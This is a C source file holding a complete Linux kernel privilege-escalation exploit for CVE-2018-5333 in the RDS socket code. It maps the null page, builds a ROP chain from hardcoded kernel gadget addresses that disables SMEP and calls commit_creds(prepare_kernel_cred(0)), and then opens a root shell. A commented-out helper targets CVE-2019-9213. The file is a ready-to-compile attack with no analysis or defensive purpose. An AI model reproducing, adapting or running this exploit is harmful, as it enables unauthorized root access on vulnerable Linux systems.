// sysctl -w vm.mmap_min_addr=0
// gcc -O3 -pthread -static -g -masm=intel ./exploit.c -o exploit
#define _GNU_SOURCE
#include <fcntl.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <stdint.h>
#include <unistd.h>
#include <linux/perf_event.h>
#include <netinet/in.h>
#include <sys/ioctl.h>
#include <sys/klog.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/utsname.h>

unsigned long KERNEL_BASE = 0xffffffff81000000ul;
#define RAND_SIZE 4096

#ifndef SOL_RDS
#  define SOL_RDS 276
#endif
#ifndef RDS_CMSG_MASKED_ATOMIC_CSWP
#  define RDS_CMSG_MASKED_ATOMIC_CSWP 9
#endif
#ifndef AF_RDS
#  define AF_RDS 0x15
#endif

void trigger_bug()
{
  struct sockaddr_in sin;
  struct msghdr msg;
  char buf[RAND_SIZE];
  struct cmsghdr cmsg;

  memset(&sin, 0, sizeof(struct sockaddr));
  memset(&msg, 0, sizeof(msg));
  memset(buf, 0x40, sizeof(buf));
  memset(&cmsg, 0, sizeof(cmsg));

  int fd = socket(AF_RDS, 5, 0);
  if(fd < 0) {
    printf("[-] socket(AF_RDS): %m\n");
    return;
  }

  sin.sin_family = AF_INET;
  sin.sin_port = htons(2000);
  sin.sin_addr.s_addr = htonl(INADDR_LOOPBACK);

  bind(fd, (struct sockaddr*)&sin, sizeof(sin));

  cmsg.cmsg_len = RAND_SIZE;
  cmsg.cmsg_type = RDS_CMSG_MASKED_ATOMIC_CSWP;
  cmsg.cmsg_level = SOL_RDS;

  memcpy(&buf[0], &cmsg, sizeof(cmsg));

  *(uint64_t *)(buf + 0x18) = 0x40404000; /* args->local_addr */

  msg.msg_name = &sin;
  msg.msg_namelen = sizeof(sin);
  msg.msg_iov = NULL;
  msg.msg_iovlen = 0;
  msg.msg_control = buf;
  msg.msg_controllen = RAND_SIZE;
  msg.msg_flags = MSG_DONTROUTE|MSG_PROXY|MSG_WAITALL;

  syscall(SYS_sendmsg, fd, &msg, 0);
}

// https://bugs.chromium.org/p/project-zero/issues/detail?id=1792&desc=2
void map_null() {
  char *suid_path = "/bin/su";

  void *map = mmap((void *)0x10000, 0x1000, PROT_READ | PROT_WRITE,
    MAP_PRIVATE | MAP_ANONYMOUS | MAP_GROWSDOWN | MAP_FIXED, -1, 0);

  if (map == MAP_FAILED) {
    printf("[-] mmap(null): %m\n");
    exit(EXIT_FAILURE);
  }

  char* path = "/proc/self/mem";
  int fd = open(path, O_RDWR);

  if (fd == -1) {
    printf("open(%s): %m\n", path);
    exit(EXIT_FAILURE);
  }

  unsigned long addr = (unsigned long)map;

  while (addr != 0) {
    addr -= 0x1000;
    if (lseek(fd, addr, SEEK_SET) == -1) {
      printf("lseek()\n");
      exit(EXIT_FAILURE);
    }
    char cmd[1000];
    sprintf(cmd, "LD_DEBUG=help %s 1>&%d", suid_path, fd);
    system(cmd);
  }
}

void mmap_to_zero()
{
  void* addr = mmap((void*)0, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);
  if (addr < 0) {
    perror("[!] Cannot mmap at null");
    exit(EXIT_FAILURE);
  }
  if (addr != (void*)0) {
    printf("[!] Bad map at %p\n", addr);
  }
  else {
    printf("[+] done, mapped null address\n");
  }
}

size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    puts("[+]status has been saved.");
}

static void shell() {
  if (getuid() == 0 && geteuid() == 0) {
    printf("[+] got root\n");
    system("/bin/sh");
  } else {
    printf("[-] failed\n");
  }
  exit(EXIT_FAILURE);
}

int main(int argc) {
  save_status();
// Step 1: mmap(0) 
  // map_null();    // change MMAP_MIN_ADDR   (exploit CVE-2019-9213, but failed)
  mmap_to_zero();

  unsigned long native_write_cr4 =    0xffffffff810603b0;   // ffffffff810603b0 t native_write_cr4
  unsigned long swapgs_restore_regs_and_return_to_usermode =    0xffffffff81a00a7d;   // ffffffff81a00a7d T swapgs_restore_regs_and_return_to_usermode
  unsigned long commit_creds =        0xffffffff8109f400;   // ffffffff8109f400 T commit_creds
  unsigned long prepare_kernel_cred = 0xffffffff8109f7b0;   // ffffffff8109f7b0 T prepare_kernel_cred
  unsigned long pop_rdi =             0xffffffff810028f1;   // 0xffffffff810028f1: pop rdi; ret;
  unsigned long mov_cr4 =             0xffffffff8101e46c;   // 0xffffffff8101e46c: mov cr4, rdi; ret; 
  unsigned long xor_rdi =             0xffffffff810590cf;   // 0xffffffff810590cf: xor edi, edi; ret; 
  unsigned long mov_rdi_rax =         0xffffffff812805ac;   // 0xffffffff812805ac: mov rdi, rax; pop rbx; mov rax, rdi; pop rbp; pop r12; ret; 
  unsigned long xchg_esp =            0xffffffff8101ab98;   // 0xffffffff8101ab98: xchg eax, esp; add al, 0; ret;
  unsigned long swapgs =              0xffffffff81060470;   // 0xffffffff81060470: swapgs; ret; 
  unsigned long iretq =               0xffffffff81032377;   // 0xffffffff81032377: iretq; ret; 
// Step 2: construct userspace ROP at (xchg & 0xffffffff)
  printf("[+] mmapping fake stack...\n");
  uint64_t page_size = getpagesize();
  uint64_t stack_aligned = (xchg_esp & 0x00000000fffffffful) & ~(page_size - 1);
  uint64_t stack_offset = xchg_esp % page_size;

  unsigned long *fake_stack = mmap((void*)stack_aligned, 0x200000,
    PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_GROWSDOWN | MAP_FIXED, -1, 0);
  if (fake_stack == MAP_FAILED) {
    printf("[-] mmap(fake_stack): %m\n");
    exit(EXIT_FAILURE);
  }

  fake_stack = (unsigned long *)(stack_aligned + stack_offset);
  int i = 0;
  fake_stack[i++] = pop_rdi;
  fake_stack[i++] = 0x6f0;
  fake_stack[i++] = mov_cr4;
  fake_stack[i++] = pop_rdi;
  fake_stack[i++] = 0;
  fake_stack[i++] = prepare_kernel_cred;
  fake_stack[i++] = mov_rdi_rax;
  fake_stack[i++] = 0x12345678;
  fake_stack[i++] = 0x12345678;
  fake_stack[i++] = 0x12345678;
  fake_stack[i++] = commit_creds;

  fake_stack[i++] = swapgs;
  fake_stack[i++] = iretq;
  //fake_stack[i++] = swapgs_restore_regs_and_return_to_usermode;
  //fake_stack[i++] = 0;
  //fake_stack[i++] = 0;
  fake_stack[i++] = (unsigned long)shell;
  fake_stack[i++] = user_cs;
  fake_stack[i++] = user_rflags;
  fake_stack[i++] = user_sp;
  fake_stack[i++] = user_ss;

// Step 3: construct fake struct at 0
  static unsigned long result = 0;
  unsigned long *data = (unsigned long *)0;
  data[1] = (uint64_t)&result;
  data[3] = xchg_esp;

// Step 4: trigger CVE-2018-5333
  printf("[+] executing payload %p...\n", (void*)&shell);
  trigger_bug();

  return 0;
}

